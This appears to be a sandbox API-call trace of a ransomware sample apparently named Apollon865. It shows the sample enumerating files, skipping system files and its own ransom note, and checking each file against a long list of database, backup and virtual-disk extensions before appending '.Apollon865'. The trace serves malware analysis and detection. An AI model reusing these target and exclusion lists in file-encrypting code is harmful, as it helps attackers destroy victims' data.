	[0075.323] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x8, Size=0x1dc00) returned 0x5ecfb8
	[0075.323] ReadFile (in: hFile=0x150, lpBuffer=0x5ecfb8, nNumberOfBytesToRead=0x1dc00, lpNumberOfBytesRead=0x119e2e4, lpOverlapped=0x0 | out: lpBuffer=0x5ecfb8*, lpNumberOfBytesRead=0x119e2e4*=0x1dc00, lpOverlapped=0x0) returned 1
	[0075.323] CloseHandle (hObject=0x150) returned 1
	[0075.323] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5ecfb8 | out: hHeap=0x580000) returned 1
	[0075.323] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0075.323] FindFirstFileW (in: lpFileName="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*", lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca250
	[0075.323] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.323] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0075.323] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0075.323] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xcb95720, ftCreationTime.dwHighDateTime=0x1d2e621, ftLastAccessTime.dwLowDateTime=0x2f638b10, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2f638b10, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0075.323] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.323] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0075.323] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0075.323] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0075.324] FindNextFileW (in: hFindFile=0x5ca250, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50cc6500, ftCreationTime.dwHighDateTime=0x1cf3dd3, ftLastAccessTime.dwLowDateTime=0x50cc6500, ftLastAccessTime.dwHighDateTime=0x1cf3dd3, ftLastWriteTime.dwLowDateTime=0x50cc6500, ftLastWriteTime.dwHighDateTime=0x1cf3dd3, nFileSizeHigh=0x0, nFileSizeLow=0xf36be, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="cab1.cab", cAlternateFileName="")) returned 1
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2="Apollon865.txt.exe") returned 1
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2=".") returned 1
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2="..") returned 1
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2="windows") returned -1
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2="bootmgr") returned 1
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2="temp") returned -1
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2="pagefile.sys") returned -1
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2="boot") returned 1
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2="ids.txt") returned -1
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2="ntuser.dat") returned -1
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2="perflogs") returned -1
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2="MSBuild") returned -1
	[0075.324] lstrlenW (lpString="cab1.cab") returned 8
	[0075.324] lstrlenW (lpString="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\*") returned 114
	[0075.324] lstrcpyW (in: lpString1=0x119e6ea, lpString2="cab1.cab" | out: lpString1="cab1.cab") returned="cab1.cab"
	[0075.324] lstrlenW (lpString="cab1.cab") returned 8
	[0075.324] lstrlenW (lpString="Apollon865") returned 10
	[0075.324] lstrlenW (lpString=".dll") returned 4
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2=".dll") returned 1
	[0075.324] lstrlenW (lpString=".lnk") returned 4
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2=".lnk") returned 1
	[0075.324] lstrlenW (lpString=".ini") returned 4
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2=".ini") returned 1
	[0075.324] lstrlenW (lpString=".sys") returned 4
	[0075.324] lstrcmpiW (lpString1="cab1.cab", lpString2=".sys") returned 1
	[0075.324] lstrlenW (lpString="cab1.cab") returned 8
	[0075.324] lstrlenW (lpString="bak") returned 3
	[0075.324] lstrcmpiW (lpString1="cab", lpString2="bak") returned 1
	[0075.324] lstrlenW (lpString="ba_") returned 3
	[0075.324] lstrcmpiW (lpString1="cab", lpString2="ba_") returned 1
	[0075.324] lstrlenW (lpString="dbb") returned 3
	[0075.324] lstrcmpiW (lpString1="cab", lpString2="dbb") returned -1
	[0075.324] lstrlenW (lpString="vmdk") returned 4
	[0075.324] lstrcmpiW (lpString1=".cab", lpString2="vmdk") returned -1
	[0075.325] lstrlenW (lpString="rar") returned 3
	[0075.325] lstrcmpiW (lpString1="cab", lpString2="rar") returned -1
	[0075.325] lstrlenW (lpString="zip") returned 3
	[0075.325] lstrcmpiW (lpString1="cab", lpString2="zip") returned -1
	[0075.325] lstrlenW (lpString="tgz") returned 3
	[0075.325] lstrcmpiW (lpString1="cab", lpString2="tgz") returned -1
	[0075.325] lstrlenW (lpString="vbox") returned 4
	[0075.325] lstrcmpiW (lpString1=".cab", lpString2="vbox") returned -1
	[0075.325] lstrlenW (lpString="vdi") returned 3
	[0075.325] lstrcmpiW (lpString1="cab", lpString2="vdi") returned -1
	[0075.325] lstrlenW (lpString="vhd") returned 3
	[0075.325] lstrcmpiW (lpString1="cab", lpString2="vhd") returned -1
	[0075.325] lstrlenW (lpString="vhdx") returned 4
	[0075.325] lstrcmpiW (lpString1=".cab", lpString2="vhdx") returned -1
	[0075.325] lstrlenW (lpString="avhd") returned 4
	[0075.325] lstrcmpiW (lpString1=".cab", lpString2="avhd") returned -1
	[0075.325] lstrlenW (lpString="db") returned 2
	[0075.325] lstrcmpiW (lpString1="ab", lpString2="db") returned -1
	[0075.325] lstrlenW (lpString="db2") returned 3
	[0075.325] lstrcmpiW (lpString1="cab", lpString2="db2") returned -1
	[0075.325] lstrlenW (lpString="db3") returned 3
	[0075.325] lstrcmpiW (lpString1="cab", lpString2="db3") returned -1
	[0075.325] lstrlenW (lpString="dbf") returned 3
	[0075.325] lstrcmpiW (lpString1="cab", lpString2="dbf") returned -1
	[0075.325] lstrlenW (lpString="mdf") returned 3
	[0075.325] lstrcmpiW (lpString1="cab", lpString2="mdf") returned -1
	[0075.325] lstrlenW (lpString="mdb") returned 3
	[0075.325] lstrcmpiW (lpString1="cab", lpString2="mdb") returned -1
	[0075.325] lstrlenW (lpString="sql") returned 3
	[0075.325] lstrcmpiW (lpString1="cab", lpString2="sql") returned -1
	[0075.325] lstrlenW (lpString="sqlite") returned 6
	[0075.325] lstrcmpiW (lpString1="b1.cab", lpString2="sqlite") returned -1
	[0075.325] lstrlenW (lpString="sqlite3") returned 7
	[0075.325] lstrcmpiW (lpString1="ab1.cab", lpString2="sqlite3") returned -1
	[0075.325] lstrlenW (lpString="sqlitedb") returned 8
	[0075.325] lstrlenW (lpString="xml") returned 3
	[0075.325] lstrcmpiW (lpString1="cab", lpString2="xml") returned -1
	[0075.326] lstrlenW (lpString="$er") returned 3
	[0075.326] lstrcmpiW (lpString1="cab", lpString2="$er") returned 1
	[0075.326] lstrlenW (lpString="4dd") returned 3
	[0075.326] lstrcmpiW (lpString1="cab", lpString2="4dd") returned 1
	[0075.326] lstrlenW (lpString="4dl") returned 3
	[0075.326] lstrcmpiW (lpString1="cab", lpString2="4dl") returned 1
	[0075.326] lstrlenW (lpString="^^^") returned 3
	[0075.326] lstrcmpiW (lpString1="cab", lpString2="^^^") returned 1
	[0075.326] lstrlenW (lpString="abs") returned 3
	[0075.326] lstrcmpiW (lpString1="cab", lpString2="abs") returned 1
	[0075.326] lstrlenW (lpString="abx") returned 3
	[0075.326] lstrcmpiW (lpString1="cab", lpString2="abx") returned 1
	[0075.326] lstrlenW (lpString="accdb") returned 5
	[0075.326] lstrcmpiW (lpString1="1.cab", lpString2="accdb") returned -1
	[0075.326] lstrlenW (lpString="accdc") returned 5
	[0075.326] lstrcmpiW (lpString1="1.cab", lpString2="accdc") returned -1
	[0075.326] lstrlenW (lpString="accde") returned 5
	[0075.326] lstrcmpiW (lpString1="1.cab", lpString2="accde") returned -1
	[0075.326] lstrlenW (lpString="accdr") returned 5
	[0075.326] lstrcmpiW (lpString1="1.cab", lpString2="accdr") returned -1
	[0075.326] lstrlenW (lpString="accdt") returned 5
	[0075.326] lstrcmpiW (lpString1="1.cab", lpString2="accdt") returned -1
	[0075.326] lstrlenW (lpString="accdw") returned 5
	[0075.326] lstrcmpiW (lpString1="1.cab", lpString2="accdw") returned -1
	[0075.326] lstrlenW (lpString="accft") returned 5
	[0075.326] lstrcmpiW (lpString1="1.cab", lpString2="accft") returned -1
	[0075.326] lstrlenW (lpString="adb") returned 3
	[0075.326] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0075.326] lstrlenW (lpString="adb") returned 3
	[0075.326] lstrcmpiW (lpString1="cab", lpString2="adb") returned 1
	[0075.326] lstrlenW (lpString="ade") returned 3
	[0075.326] lstrcmpiW (lpString1="cab", lpString2="ade") returned 1
	[0075.326] lstrlenW (lpString="adf") returned 3
	[0075.326] lstrcmpiW (lpString1="cab", lpString2="adf") returned 1
	[0075.326] lstrlenW (lpString="adn") returned 3
	[0075.326] lstrcmpiW (lpString1="cab", lpString2="adn") returned 1
	[0075.326] lstrlenW (lpString="adp") returned 3
	[0075.326] lstrcmpiW (lpString1="cab", lpString2="adp") returned 1
	[0075.327] lstrlenW (lpString="alf") returned 3
	[0075.327] lstrcmpiW (lpString1="cab", lpString2="alf") returned 1
	[0075.327] lstrlenW (lpString="ask") returned 3
	[0075.327] lstrcmpiW (lpString1="cab", lpString2="ask") returned 1
	[0075.327] lstrlenW (lpString="btr") returned 3
	[0075.327] lstrcmpiW (lpString1="cab", lpString2="btr") returned 1
	[0075.327] lstrlenW (lpString="cat") returned 3
	[0075.327] lstrcmpiW (lpString1="cab", lpString2="cat") returned -1
	[0075.327] lstrlenW (lpString="cdb") returned 3
	[0075.327] lstrcmpiW (lpString1="cab", lpString2="cdb") returned -1
	[0075.327] lstrlenW (lpString="ckp") returned 3
	[0075.327] lstrcmpiW (lpString1="cab", lpString2="ckp") returned -1
	[0075.327] lstrlenW (lpString="cma") returned 3
	[0075.327] lstrcmpiW (lpString1="cab", lpString2="cma") returned -1
	[0075.327] lstrlenW (lpString="cpd") returned 3
	[0075.327] lstrcmpiW (lpString1="cab", lpString2="cpd") returned -1
	[0075.327] lstrlenW (lpString="dacpac") returned 6
	[0075.327] lstrcmpiW (lpString1="b1.cab", lpString2="dacpac") returned -1
	[0075.327] lstrlenW (lpString="dad") returned 3
	[0075.327] lstrcmpiW (lpString1="cab", lpString2="dad") returned -1
	[0075.327] lstrlenW (lpString="dadiagrams") returned 10
	[0075.327] lstrlenW (lpString="daschema") returned 8
	[0075.327] lstrlenW (lpString="db-journal") returned 10
	[0075.327] lstrlenW (lpString="db-shm") returned 6
	[0075.327] lstrcmpiW (lpString1="b1.cab", lpString2="db-shm") returned -1
	[0075.327] lstrlenW (lpString="db-wal") returned 6
	[0075.327] lstrcmpiW (lpString1="b1.cab", lpString2="db-wal") returned -1
	[0075.327] lstrlenW (lpString="dbc") returned 3
	[0075.327] lstrcmpiW (lpString1="cab", lpString2="dbc") returned -1
	[0075.327] lstrlenW (lpString="dbs") returned 3
	[0075.327] lstrcmpiW (lpString1="cab", lpString2="dbs") returned -1
	[0075.327] lstrlenW (lpString="dbt") returned 3
	[0075.327] lstrcmpiW (lpString1="cab", lpString2="dbt") returned -1
	[0075.327] lstrlenW (lpString="dbv") returned 3
	[0075.327] lstrcmpiW (lpString1="cab", lpString2="dbv") returned -1
	[0075.327] lstrlenW (lpString="dbx") returned 3
	[0075.327] lstrcmpiW (lpString1="cab", lpString2="dbx") returned -1
	[0075.327] lstrlenW (lpString="dcb") returned 3
	[0075.328] lstrcmpiW (lpString1="cab", lpString2="dcb") returned -1
	[0075.328] lstrlenW (lpString="dct") returned 3
	[0075.328] lstrcmpiW (lpString1="cab", lpString2="dct") returned -1
	[0075.328] lstrlenW (lpString="dcx") returned 3
	[0075.328] lstrcmpiW (lpString1="cab", lpString2="dcx") returned -1
	[0075.328] lstrlenW (lpString="ddl") returned 3
	[0075.328] lstrcmpiW (lpString1="cab", lpString2="ddl") returned -1
	[0075.328] lstrlenW (lpString="dlis") returned 4
	[0075.328] lstrcmpiW (lpString1=".cab", lpString2="dlis") returned -1
	[0075.328] lstrlenW (lpString="dp1") returned 3
	[0075.328] lstrcmpiW (lpString1="cab", lpString2="dp1") returned -1
	[0075.328] lstrlenW (lpString="dqy") returned 3
	[0075.328] lstrcmpiW (lpString1="cab", lpString2="dqy") returned -1
	[0075.328] lstrlenW (lpString="dsk") returned 3
	[0075.328] lstrcmpiW (lpString1="cab", lpString2="dsk") returned -1
	[0075.328] lstrlenW (lpString="dsn") returned 3
	[0075.328] lstrcmpiW (lpString1="cab", lpString2="dsn") returned -1
	[0075.328] lstrlenW (lpString="dtsx") returned 4
	[0075.328] lstrcmpiW (lpString1=".cab", lpString2="dtsx") returned -1
	[0075.328] lstrlenW (lpString="dxl") returned 3
	[0075.328] lstrcmpiW (lpString1="cab", lpString2="dxl") returned -1
	[0075.328] lstrlenW (lpString="eco") returned 3
	[0075.328] lstrcmpiW (lpString1="cab", lpString2="eco") returned -1
	[0075.328] lstrlenW (lpString="ecx") returned 3
	[0075.328] lstrcmpiW (lpString1="cab", lpString2="ecx") returned -1
	[0075.328] lstrlenW (lpString="edb") returned 3
	[0075.328] lstrcmpiW (lpString1="cab", lpString2="edb") returned -1
	[0075.328] lstrlenW (lpString="epim") returned 4
	[0075.328] lstrcmpiW (lpString1=".cab", lpString2="epim") returned -1
	[0075.328] lstrlenW (lpString="fcd") returned 3
	[0075.328] lstrcmpiW (lpString1="cab", lpString2="fcd") returned -1
	[0075.328] lstrlenW (lpString="fdb") returned 3
	[0075.328] lstrcmpiW (lpString1="cab", lpString2="fdb") returned -1
	[0075.328] lstrlenW (lpString="fic") returned 3
	[0075.328] lstrcmpiW (lpString1="cab", lpString2="fic") returned -1
	[0075.328] lstrlenW (lpString="flexolibrary") returned 12
	[0075.328] lstrlenW (lpString="fm5") returned 3
	[0075.329] lstrcmpiW (lpString1="cab", lpString2="fm5") returned -1
	[0075.329] lstrlenW (lpString="fmp") returned 3
	[0075.329] lstrcmpiW (lpString1="cab", lpString2="fmp") returned -1
	[0075.329] lstrlenW (lpString="fmp12") returned 5
	[0075.329] lstrcmpiW (lpString1="1.cab", lpString2="fmp12") returned -1
	[0075.329] lstrlenW (lpString="fmpsl") returned 5
	[0075.329] lstrcmpiW (lpString1="1.cab", lpString2="fmpsl") returned -1
	[0075.329] lstrlenW (lpString="fol") returned 3
	[0075.329] lstrcmpiW (lpString1="cab", lpString2="fol") returned -1
	[0075.329] lstrlenW (lpString="fp3") returned 3
	[0075.329] lstrcmpiW (lpString1="cab", lpString2="fp3") returned -1
	[0075.329] lstrlenW (lpString="fp4") returned 3
	[0075.329] lstrcmpiW (lpString1="cab", lpString2="fp4") returned -1
	[0075.329] lstrlenW (lpString="fp5") returned 3
	[0075.329] lstrcmpiW (lpString1="cab", lpString2="fp5") returned -1
	[0075.329] lstrlenW (lpString="fp7") returned 3
	[0075.329] lstrcmpiW (lpString1="cab", lpString2="fp7") returned -1
	[0075.329] lstrlenW (lpString="fpt") returned 3
	[0075.329] lstrcmpiW (lpString1="cab", lpString2="fpt") returned -1
	[0075.329] lstrlenW (lpString="frm") returned 3
	[0075.329] lstrcmpiW (lpString1="cab", lpString2="frm") returned -1
	[0075.329] lstrlenW (lpString="gdb") returned 3
	[0075.329] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0075.329] lstrlenW (lpString="gdb") returned 3
	[0075.329] lstrcmpiW (lpString1="cab", lpString2="gdb") returned -1
	[0075.329] lstrlenW (lpString="grdb") returned 4
	[0075.329] lstrcmpiW (lpString1=".cab", lpString2="grdb") returned -1
	[0075.329] lstrlenW (lpString="gwi") returned 3
	[0075.329] lstrcmpiW (lpString1="cab", lpString2="gwi") returned -1
	[0075.329] lstrlenW (lpString="hdb") returned 3
	[0075.329] lstrcmpiW (lpString1="cab", lpString2="hdb") returned -1
	[0075.329] lstrlenW (lpString="his") returned 3
	[0075.329] lstrcmpiW (lpString1="cab", lpString2="his") returned -1
	[0075.329] lstrlenW (lpString="ib") returned 2
	[0075.329] lstrcmpiW (lpString1="ab", lpString2="ib") returned -1
	[0075.329] lstrlenW (lpString="idb") returned 3
	[0075.329] lstrcmpiW (lpString1="cab", lpString2="idb") returned -1
	[0075.330] lstrlenW (lpString="ihx") returned 3
	[0075.330] lstrcmpiW (lpString1="cab", lpString2="ihx") returned -1
	[0075.330] lstrlenW (lpString="itdb") returned 4
	[0075.330] lstrcmpiW (lpString1=".cab", lpString2="itdb") returned -1
	[0075.330] lstrlenW (lpString="itw") returned 3
	[0075.330] lstrcmpiW (lpString1="cab", lpString2="itw") returned -1
	[0075.330] lstrlenW (lpString="jet") returned 3
	[0075.330] lstrcmpiW (lpString1="cab", lpString2="jet") returned -1
	[0075.330] lstrlenW (lpString="jtx") returned 3
	[0075.330] lstrcmpiW (lpString1="cab", lpString2="jtx") returned -1
	[0075.330] lstrlenW (lpString="kdb") returned 3
	[0075.330] lstrcmpiW (lpString1="cab", lpString2="kdb") returned -1
	[0075.330] lstrlenW (lpString="kexi") returned 4
	[0075.330] lstrcmpiW (lpString1=".cab", lpString2="kexi") returned -1
	[0075.330] lstrlenW (lpString="kexic") returned 5
	[0075.330] lstrcmpiW (lpString1="1.cab", lpString2="kexic") returned -1
	[0075.330] lstrlenW (lpString="kexis") returned 5
	[0075.330] lstrcmpiW (lpString1="1.cab", lpString2="kexis") returned -1
	[0075.330] lstrlenW (lpString="lgc") returned 3
	[0075.330] lstrcmpiW (lpString1="cab", lpString2="lgc") returned -1
	[0075.330] lstrlenW (lpString="lwx") returned 3
	[0075.330] lstrcmpiW (lpString1="cab", lpString2="lwx") returned -1
	[0075.330] lstrlenW (lpString="maf") returned 3
	[0075.330] lstrcmpiW (lpString1="cab", lpString2="maf") returned -1
	[0075.330] lstrlenW (lpString="maq") returned 3
	[0075.330] lstrcmpiW (lpString1="cab", lpString2="maq") returned -1
	[0075.330] lstrlenW (lpString="mar") returned 3
	[0075.330] lstrcmpiW (lpString1="cab", lpString2="mar") returned -1
	[0075.330] lstrlenW (lpString="marshal") returned 7
	[0075.330] lstrcmpiW (lpString1="ab1.cab", lpString2="marshal") returned -1
	[0075.330] lstrlenW (lpString="mas") returned 3
	[0075.330] lstrcmpiW (lpString1="cab", lpString2="mas") returned -1
	[0075.330] lstrlenW (lpString="mav") returned 3
	[0075.330] lstrcmpiW (lpString1="cab", lpString2="mav") returned -1
	[0075.330] lstrlenW (lpString="maw") returned 3
	[0075.330] lstrcmpiW (lpString1="cab", lpString2="maw") returned -1
	[0075.330] lstrlenW (lpString="mdbhtml") returned 7
	[0075.330] lstrcmpiW (lpString1="ab1.cab", lpString2="mdbhtml") returned -1
	[0075.331] lstrlenW (lpString="mdn") returned 3
	[0075.331] lstrcmpiW (lpString1="cab", lpString2="mdn") returned -1
	[0075.331] lstrlenW (lpString="mdt") returned 3
	[0075.331] lstrcmpiW (lpString1="cab", lpString2="mdt") returned -1
	[0075.331] lstrlenW (lpString="mfd") returned 3
	[0075.331] lstrcmpiW (lpString1="cab", lpString2="mfd") returned -1
	[0075.331] lstrlenW (lpString="mpd") returned 3
	[0075.331] lstrcmpiW (lpString1="cab", lpString2="mpd") returned -1
	[0075.331] lstrlenW (lpString="mrg") returned 3
	[0075.331] lstrcmpiW (lpString1="cab", lpString2="mrg") returned -1
	[0075.331] lstrlenW (lpString="mud") returned 3
	[0075.331] lstrcmpiW (lpString1="cab", lpString2="mud") returned -1
	[0075.331] lstrlenW (lpString="mwb") returned 3
	[0075.331] lstrcmpiW (lpString1="cab", lpString2="mwb") returned -1
	[0075.331] lstrlenW (lpString="myd") returned 3
	[0075.331] lstrcmpiW (lpString1="cab", lpString2="myd") returned -1
	[0075.331] lstrlenW (lpString="ndf") returned 3
	[0075.331] lstrcmpiW (lpString1="cab", lpString2="ndf") returned -1
	[0075.331] lstrlenW (lpString="nnt") returned 3
	[0075.331] lstrcmpiW (lpString1="cab", lpString2="nnt") returned -1
	[0075.331] lstrlenW (lpString="nrmlib") returned 6
	[0075.331] lstrcmpiW (lpString1="b1.cab", lpString2="nrmlib") returned -1
	[0075.331] lstrlenW (lpString="ns2") returned 3
	[0075.331] lstrcmpiW (lpString1="cab", lpString2="ns2") returned -1
	[0075.331] lstrlenW (lpString="ns3") returned 3
	[0075.331] lstrcmpiW (lpString1="cab", lpString2="ns3") returned -1
	[0075.331] lstrlenW (lpString="ns4") returned 3
	[0075.331] lstrcmpiW (lpString1="cab", lpString2="ns4") returned -1
	[0075.331] lstrlenW (lpString="nsf") returned 3
	[0075.331] lstrcmpiW (lpString1="cab", lpString2="nsf") returned -1
	[0075.331] lstrlenW (lpString="nv") returned 2
	[0075.331] lstrcmpiW (lpString1="ab", lpString2="nv") returned -1
	[0075.331] lstrlenW (lpString="nv2") returned 3
	[0075.331] lstrcmpiW (lpString1="cab", lpString2="nv2") returned -1
	[0075.331] lstrlenW (lpString="nwdb") returned 4
	[0075.331] lstrcmpiW (lpString1=".cab", lpString2="nwdb") returned -1
	[0075.331] lstrlenW (lpString="nyf") returned 3
	[0075.331] lstrcmpiW (lpString1="cab", lpString2="nyf") returned -1
	[0075.332] lstrlenW (lpString="odb") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0075.332] lstrlenW (lpString="odb") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="odb") returned -1
	[0075.332] lstrlenW (lpString="oqy") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="oqy") returned -1
	[0075.332] lstrlenW (lpString="ora") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="ora") returned -1
	[0075.332] lstrlenW (lpString="orx") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="orx") returned -1
	[0075.332] lstrlenW (lpString="owc") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="owc") returned -1
	[0075.332] lstrlenW (lpString="p96") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="p96") returned -1
	[0075.332] lstrlenW (lpString="p97") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="p97") returned -1
	[0075.332] lstrlenW (lpString="pan") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="pan") returned -1
	[0075.332] lstrlenW (lpString="pdb") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="pdb") returned -1
	[0075.332] lstrlenW (lpString="pdm") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="pdm") returned -1
	[0075.332] lstrlenW (lpString="pnz") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="pnz") returned -1
	[0075.332] lstrlenW (lpString="qry") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="qry") returned -1
	[0075.332] lstrlenW (lpString="qvd") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="qvd") returned -1
	[0075.332] lstrlenW (lpString="rbf") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="rbf") returned -1
	[0075.332] lstrlenW (lpString="rctd") returned 4
	[0075.332] lstrcmpiW (lpString1=".cab", lpString2="rctd") returned -1
	[0075.332] lstrlenW (lpString="rod") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="rod") returned -1
	[0075.332] lstrlenW (lpString="rodx") returned 4
	[0075.332] lstrcmpiW (lpString1=".cab", lpString2="rodx") returned -1
	[0075.332] lstrlenW (lpString="rpd") returned 3
	[0075.332] lstrcmpiW (lpString1="cab", lpString2="rpd") returned -1
	[0075.333] lstrlenW (lpString="rsd") returned 3
	[0075.333] lstrcmpiW (lpString1="cab", lpString2="rsd") returned -1
	[0075.333] lstrlenW (lpString="sas7bdat") returned 8
	[0075.333] lstrlenW (lpString="sbf") returned 3
	[0075.333] lstrcmpiW (lpString1="cab", lpString2="sbf") returned -1
	[0075.333] lstrlenW (lpString="scx") returned 3
	[0075.333] lstrcmpiW (lpString1="cab", lpString2="scx") returned -1
	[0075.333] lstrlenW (lpString="sdb") returned 3
	[0075.333] lstrcmpiW (lpString1="cab", lpString2="sdb") returned -1
	[0075.333] lstrlenW (lpString="sdc") returned 3
	[0075.333] lstrcmpiW (lpString1="cab", lpString2="sdc") returned -1
	[0075.333] lstrlenW (lpString="sdf") returned 3
	[0075.333] lstrcmpiW (lpString1="cab", lpString2="sdf") returned -1
	[0075.333] lstrlenW (lpString="sis") returned 3
	[0075.333] lstrcmpiW (lpString1="cab", lpString2="sis") returned -1
	[0075.333] lstrlenW (lpString="spq") returned 3
	[0075.333] lstrcmpiW (lpString1="cab", lpString2="spq") returned -1
	[0075.333] lstrlenW (lpString="te") returned 2
	[0075.333] lstrcmpiW (lpString1="ab", lpString2="te") returned -1
	[0075.333] lstrlenW (lpString="teacher") returned 7
	[0075.333] lstrcmpiW (lpString1="ab1.cab", lpString2="teacher") returned -1
	[0075.333] lstrlenW (lpString="tmd") returned 3
	[0075.333] lstrcmpiW (lpString1="cab", lpString2="tmd") returned -1
	[0075.333] lstrlenW (lpString="tps") returned 3
	[0075.334] lstrcmpiW (lpString1="cab", lpString2="tps") returned -1
	[0075.334] lstrlenW (lpString="trc") returned 3
	[0075.334] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0075.334] lstrlenW (lpString="trc") returned 3
	[0075.334] lstrcmpiW (lpString1="cab", lpString2="trc") returned -1
	[0075.334] lstrlenW (lpString="trm") returned 3
	[0075.334] lstrcmpiW (lpString1="cab", lpString2="trm") returned -1
	[0075.334] lstrlenW (lpString="udb") returned 3
	[0075.334] lstrcmpiW (lpString1="cab", lpString2="udb") returned -1
	[0075.334] lstrlenW (lpString="udl") returned 3
	[0075.334] lstrcmpiW (lpString1="cab", lpString2="udl") returned -1
	[0075.334] lstrlenW (lpString="usr") returned 3
	[0075.334] lstrcmpiW (lpString1="cab", lpString2="usr") returned -1
	[0075.334] lstrlenW (lpString="v12") returned 3
	[0075.334] lstrcmpiW (lpString1="cab", lpString2="v12") returned -1
	[0075.334] lstrlenW (lpString="vis") returned 3
	[0075.334] lstrcmpiW (lpString1="cab", lpString2="vis") returned -1
	[0075.334] lstrlenW (lpString="vpd") returned 3
	[0075.334] lstrcmpiW (lpString1="cab", lpString2="vpd") returned -1
	[0075.334] lstrlenW (lpString="vvv") returned 3
	[0075.334] lstrcmpiW (lpString1="cab", lpString2="vvv") returned -1
	[0075.334] lstrlenW (lpString="wdb") returned 3
	[0075.334] lstrcmpiW (lpString1="cab", lpString2="wdb") returned -1
	[0075.334] lstrlenW (lpString="wmdb") returned 4
	[0075.334] lstrcmpiW (lpString1=".cab", lpString2="wmdb") returned -1
	[0075.334] lstrlenW (lpString="wrk") returned 3
	[0075.334] lstrcmpiW (lpString1="cab", lpString2="wrk") returned -1
	[0075.334] lstrlenW (lpString="xdb") returned 3
	[0075.334] lstrcmpiW (lpString1="cab", lpString2="xdb") returned -1
	[0075.334] lstrlenW (lpString="xld") returned 3
	[0075.334] lstrcmpiW (lpString1="cab", lpString2="xld") returned -1
	[0075.334] lstrlenW (lpString="xmlff") returned 5
	[0075.334] lstrcmpiW (lpString1="1.cab", lpString2="xmlff") returned -1
	[0075.334] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\All Users\\Package Cache\\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\\packages\\vcRuntimeMinimum_x86\\cab1.cab.Apollon865") returned 132
